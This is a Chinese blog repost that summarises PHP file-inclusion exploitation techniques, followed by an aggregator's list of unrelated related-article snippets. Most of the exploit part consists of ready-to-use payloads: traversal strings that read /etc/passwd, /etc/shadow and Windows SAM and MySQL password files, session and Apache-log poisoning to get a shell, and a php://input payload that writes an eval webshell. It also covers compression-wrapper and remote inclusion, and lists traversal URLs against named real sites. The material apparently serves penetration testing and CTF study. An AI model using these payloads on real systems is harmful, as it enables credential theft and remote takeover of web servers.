文件包含漏洞利用技术总结

news2025/6/18 17:23:42

img

开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL 对象文件等。

PHP版本<=5.2 可以使用%00进行截断。(能截断的php版本都小于5.3)

漏洞挖掘payload

Linux**:**

…/…/…/…/…/…/…/…/etc/passwd // 账户信息

etc/passwd%00

…//…//etc/passwd

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/etc/issue

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/self/environ

/proc/version

/proc/cmdline

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

乌云****payload

…/…/…/…/…/…/…/…/…/…/etc/passwd

…/…/…/…/…/…/…/…/…/…/home/img/odp/log/access_log

./…/…/…/…/…/…/…/…/etc/passwd%00

…/…/ierp/bin/prop.xml

http://red.xunlei.com/index.php?id=…/test.php%00&r=site/news

pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml

http://...//index.php?index=a&skin=&dataoptimize_html=/…/…/…/favicon.ico

…%2FWEB-INF%2Fweb.xml

…/WEB-INF/mvc-servlet.xml

本地包含

包含同目录下的文件

?file=test.txt

目录遍历

?file=./…/…/test.txt

包含图片马

先上传jpg图片木马,然后本地文件包含,如以下案例:

img

Session文件包含

前提:

1.seesion存储的位置

2.sesion内容可控

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

img

假设漏洞代码如下所示:

<?php session_start(); $ctfs= $_GET['ctfs']; $_SESSION['username']=$ctfs; ?>

可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=%3C?php phpinfo(); ?> 将php语句写入session中

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件session文件名**(真正的文件名默认都有个前缀就是sess_)**

img

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/*<?php eval([$_POST]);?>*则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

img

php://input(写入木马)

前提:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

img

zip://, bzip2://, zlib://

协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

思路:(也是上传之后包含文件)

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

远程文件包含

远程文件包含的时候一句话木马后缀不能为php。

需要开启allow_url_include = On

http://127.0.0.1/test.php?filename=http://公网IP/muma.txt

伪协议

Ctf常用

?action=php://filter/read=convert.base64-encode/resource=login.php (Base64加密)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1602251.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

claude3国内能用吗

claude3国内能用吗 如果您在国内无法直接使用Claude模型&#xff0c;可以考虑以下几种解决办法&#xff1a; 镜像站点&#xff1a;和GPT模型相似&#xff0c;使用为国内用户设置的镜像网站可以是一个解决方案。这些镜像站点可能会提供Claude模型的本地化服务&#xff0c;确保…

CAPL 定时器数组 实现同时注入多条CAN报文

&#x1f345; 我是蚂蚁小兵&#xff0c;专注于车载诊断领域&#xff0c;尤其擅长于对CANoe工具的使用&#x1f345; 寻找组织 &#xff0c;答疑解惑&#xff0c;摸鱼聊天&#xff0c;博客源码&#xff0c;点击加入&#x1f449;【相亲相爱一家人】&#x1f345; 玩转CANoe&…

HTTP1.0、HTTP1.1、HTTP2.0、HTTP3.0傻傻分不清楚

一、HTTP1.0 默认使用短连接。无状态&#xff0c;无连接。 每个请求都需要新建TCP连接&#xff0c;性能较低。 不支持多路复用。 基于文本的协议。 不支持头部压缩。 请求头不支持Host头域。 不支持服务端推送。 不支持请求优先级。 不允许断点续传。 默认不加密&#xff0c;可…

【一刷《剑指Offer》】面试题 4:替换空格

力扣对应链接&#xff1a;LCR 122. 路径加密 - 力扣&#xff08;LeetCode&#xff09; 牛客对应链接&#xff1a;替换空格_牛客题霸_牛客网 (nowcoder.com) 核心考点 &#xff1a;字符串相关&#xff0c;特性观察&#xff0c;临界条件处理。 一、《剑指Offer》内容 二、分析问…

AlgorithmDay14

day14 二叉树基础 二叉树的种类 满二叉树 只有度为0和2的结点&#xff0c;并且度为0的结点在同一层 &#xff08;深度为k 有2^k-1个结点&#xff09; 完全二叉树 除了最底层可能每天&#xff0c;其余都填满了&#xff0c; 并且最底层的结点集中在该层的左边位置。 二叉…

机器学习引领金融革命:重塑金融服务领域新格局,开启智能化新篇章

&#x1f9d1; 作者简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向的学习指导…

C:Jump and Treasure(单调队列优化DP+调和级数)

题意&#xff1a;给你一个0到n的柱子&#xff0c;一开始在0&#xff0c;需要跳到大于n的地方&#xff0c;每个柱子上有个得分&#xff0c; 且限制了最大跳跃步数&#xff1b; 思路&#xff1a;一般很容易想到一个 n*p 时间复杂度的DP , 表示以 i 为结尾的最大得分然后枚举前p…

【4月17日】阿里云 腾讯云 京东云 2-64G服务器选择对比 配置、价格全盘点 搭建博客、网站、个人开发建议收藏

更新日期&#xff1a;4月17日&#xff08;阿里云继续保持1.5折&#xff0c;京东云采购季持续进行&#xff09; 本文纯原创&#xff0c;侵权必究 《最新对比表》已更新在文章头部—腾讯云文档&#xff0c;文章具有时效性&#xff0c;请以腾讯文档为准&#xff01; 【腾讯文档实…

socket编程——tcp

在我这篇博客&#xff1a;网络——socket编程中介绍了关于socket编程的一些必要的知识&#xff0c;以及介绍了使用套接字在udp协议下如何通信&#xff0c;这篇博客中&#xff0c;我将会介绍如何使用套接字以及tcp协议进行网络通信。 1. 前置准备 在进行编写代码之前&#xff…

最新版idea 合并分支方法

前言 以下是最新版的idea2024&#xff0c;如果有人找不到按键可能是因为版本不同。 操作步骤 看右小角我的分支是submit&#xff0c;现在我要将test合并到我的submit分支上 找到test分支&#xff0c;选择update&#xff0c;这一步会拉取相应分支内容等同于pull 选择merge 选…

能源成果3D网络三维展厅越发主流化

在这个数字化飞速发展的时代&#xff0c;我们为您带来了全新的展览形式——线上3D虚拟展厅。借助VR虚拟现实制作和web3d开发技术&#xff0c;我们能够将物品、图片、视频和图文信息等完美融合&#xff0c;通过计算机技术和3D建模&#xff0c;为您呈现一个逼真、生动的数字化展览…

【保姆级】frp内网穿透

场景&#xff1a;本地调试微信生态的回调时&#xff0c;如果全用线上调试&#xff0c;那就太恶心人了&#xff0c;所以我们今天简单说下frp内网穿透 一、安装和配置 frp下载地址&#xff1a; https://github.com/fatedier/frp/releases 简单说一下&#xff1a; 服务器用的是f…

包装类的认识

前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; hellohello~&#xff0c;大家好&#x1f495;&#x1f495;&#xff0c;这里是E绵绵呀✋✋ &#xff0c;如果觉得这篇文章还不错的话还请点赞❤️❤️收藏&#x1f49e; &#x1f49e; 关注&#x1f4a5;&#x1…

储能的全生命周期成本即平准化度电成本的计算方法及python实践

1. 平准化度电成本&#xff08;LCOE&#xff09;是一种衡量电力项目经济性的指标 LCOE&#xff08;Levelized Cost of Energy,&#xff09;的概念最早由美国国家可再生能源实验室&#xff08;NREL&#xff09;在1995年提出&#xff0c;它是通过将一个项目生命周期内的所有成本…

什么牌子的短袖t恤质量好?2024年高品质短袖推荐!

什么牌子的短袖质量好&#xff1f;最近大部分地区的天气都比较热&#xff0c;大家对短袖的关注度日益提升。然而作为一名十年以上的经验的服装测评师&#xff0c;我必须强调市面上有许多所谓网红品牌&#xff0c;虽然广告营销做得沸沸扬扬&#xff0c;但对短袖的做工、细节方面…

ELK日志分析系统(上)

目录 引言 一、ELK日志分析系统简介 1.1 日志服务器 1.2 ELK日志分析系统的组成 1.3 日志处理步骤 二、Elasticsearch介绍 2.1 概述 2.2 核心概念 三、Logstash介绍 3.1 概述 3.2 主要组件 四、Kibana介绍 4.1 概述 4.2 主要功能 五、ELK的工作原理 六、部署ELK…

二维码电子画册制作教程,教你如何做出高端作品!

当今社会&#xff0c;二维码已经成为了信息传递的重要方式之一&#xff0c;其在电子商务、广告营销、活动推广等领域广泛应用。而如何将二维码巧妙地融入电子画册中&#xff0c;制作出高端、具有吸引力的作品&#xff0c;成为了许多设计师和营销人员关注的焦点 但是很多人却不知…

HTTP协议详解:从URL到HTTP报文的全貌

⭐小白苦学IT的博客主页⭐ ⭐初学者必看&#xff1a;Linux操作系统入门⭐ ⭐代码仓库&#xff1a;Linux代码仓库⭐ ❤关注我一起讨论和学习Linux系统 前言 随着互联网的飞速发展&#xff0c;HTTP协议作为支撑网络应用的核心基石&#xff0c;扮演着举足轻重的角色。无论是日常的…

LDR6028,充电听歌两不误!

当前市场上的手机普遍取消了3.5mm耳机接口&#xff0c;仅保留Type-C接口。然而&#xff0c;对于音质和零延迟有追求的用户&#xff0c;仍倾向于选择3.5mm有线耳机&#xff0c;特别是在玩游戏时&#xff0c;音画同步至关重要。因此&#xff0c;Type-C转3.5mm接口线应运而生&…

Oracle11.2.0.1,(CVE-2012-1675)漏洞解决方案

1.进入容器停止监听 docker exec -it -u 0 oracle11g bash su - oracle lsnrctl stop listener2.找到监听配置文件位置&#xff0c;修改监听文件 echo $ORACLE_HOMEvi network/admin/listener.ora #在文件底部添加 SECURE_REGISTER_LISTENER (IPC) #启动监听 lsnrctl start …